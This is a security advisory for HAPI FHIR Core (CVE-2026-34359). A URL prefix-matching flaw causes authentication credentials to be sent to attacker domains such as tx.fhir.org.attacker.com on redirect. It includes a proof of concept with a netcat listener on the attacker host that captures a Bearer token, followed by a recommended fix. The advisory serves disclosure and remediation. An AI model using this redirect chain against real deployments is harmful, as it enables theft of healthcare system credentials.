Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect in HAPI FHIR Core

High **dotasek** published **GHSA-fgv2-4q4g-wc35** 4 days ago

Package

org.hl7.fhir.core (org.hl7.fhir.utilities module) (Maven)

Affected versions	Patched versions
< 6.9.4	6.9.4

Description

Summary

`ManagedWebAccessUtils.getServer()` uses `String.startsWith()` to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., `http://tx.fhir.org`) lack a trailing slash or host boundary check, an attacker-controlled domain like `http://tx.fhir.org.attacker.com` matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.

Details

The root cause is in `ManagedWebAccessUtils.getServer()` at `org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26`:

```
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> r
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (url.startsWith(serverDetails.getUrl())) {  // <-- no host boundary check
            return serverDetails;
          }
      }
    }
```

```
    return null;
}
```

The configured production terminology server URL is defined without a trailing slash in `FhirSettingsPOJO.java:19`:

```
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";
```

This means:

- `"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")` → **true**
- `"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")` → **true**

Exploit chain via SimpleHTTPClient (redirect path):

1. `SimpleHTTPClient.get()` (`SimpleHTTPClient.java:68-105`) makes a request to `http://tx.fhir.org/ValueSet/$expand`
2. On each redirect, the loop calls `getHttpGetConnection(url, accept)` (line 84) → `setHeaders(connection)` (line 117)
3. `setHeaders()` (line 122-133) calls `authProvider.canProvideHeaders(url)` and `authProvider.getHeaders(url)` on the **redirect target URL**
4. `ServerDetailsPOJOHTTPAuthProvider.getServerDetails()` (line 83-84) delegates to `ManagedWebAccessUtils.getServer(url.toString(), servers)`
5. The `startsWith()` check matches `http://tx.fhir.org.attacker.com` against `http://tx.fhir.org`
6. Credentials are dispatched to the attacker's server via `ServerDetailsPOJOHTTPAuthProvider.getHeaders()` (lines 38-58):
   - Bearer tokens: `Authorization: Bearer {token}`
   - Basic auth: `Authorization: Basic {base64(user:pass)}`
   - API keys: `Api-Key: {apikey}`
   - Custom headers from server config

Note: An earlier fix (commit `6b615880` "Strip headers on redirect") added an `isNotSameHost()` check, but this was **removed** in commit `3871cc69` ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.

Exploit chain via ManagedFhirWebAccessor (OkHttp path):

`ManagedFhirWebAccessor.httpCall()` (line 81-112) sets auth headers via `requestWithAuthorizationHeaders()` before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same `startsWith()` check in `canProvideHeaders()` applies.

The same vulnerable pattern also exists in `ManagedWebAccess.isLocal()` (line 214), where `url.startsWith(server.getUrl())` is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.

PoC

Step 1: Verify the prefix match behavior

```
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
```

Step 2: Demonstrate credential dispatch to wrong host

Given a `fhir-settings.json` configuration at `~/.fhir/fhir-settings.json`:

```
{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}
```

When `SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand")` follows a 302 redirect to `http://tx.fhir.org.attacker.com/capture`:

1. `setHeaders()` is called with the redirect target URL
2. `authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture"))` returns `true`
3. `authProvider.getHeaders(...)` returns `{"Authorization": "Bearer secret-bearer-token-12345"}`
4. The `Authorization` header with the secret token is sent to `tx.fhir.org.attacker.com`

Step 3: Attacker captures the credential

```
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
```

```
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
```

Impact

- **Credential theft**: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
- **Impersonation**: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
- **Broad exposure**: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in `fhir-settings.json` and makes outbound HTTP requests to terminology servers is affected.
- **TLS downgrade**: The same `startsWith()` pattern in `ManagedWebAccess.isLocal()` could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.

Recommended Fix

Replace the `startsWith()` check in `ManagedWebAccessUtils.getServer()` with proper URL host boundary validation:

```
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> r
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (urlMatchesServer(url, serverDetails.getUrl())) {
            return serverDetails;
          }
      }
    }
    return null;
}

/**
 * Check if a URL matches a configured server URL with proper host boundary validation.
 * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of
 */
private static boolean urlMatchesServer(String url, String serverUrl) {
    if (url == null || serverUrl == null) return false;
    if (!url.startsWith(serverUrl)) return false;
    if (url.length() == serverUrl.length()) return true;
    char nextChar = url.charAt(serverUrl.length());
    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}
```

Apply the same fix to `ManagedWebAccess.isLocal()` at line 214 and the three-argument `getServer()` overload at line 14.

Additionally, consider re-introducing the host-equality check for redirects in `SimpleHTTPClient` (as was previously implemented in commit `6b615880` but removed in `3871cc69`) to provide defense-in-depth against credential leakage on cross-origin redirects.

Severity

High 7.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-34359

Weaknesses

▶ CWE-346

Credits

offset Reporter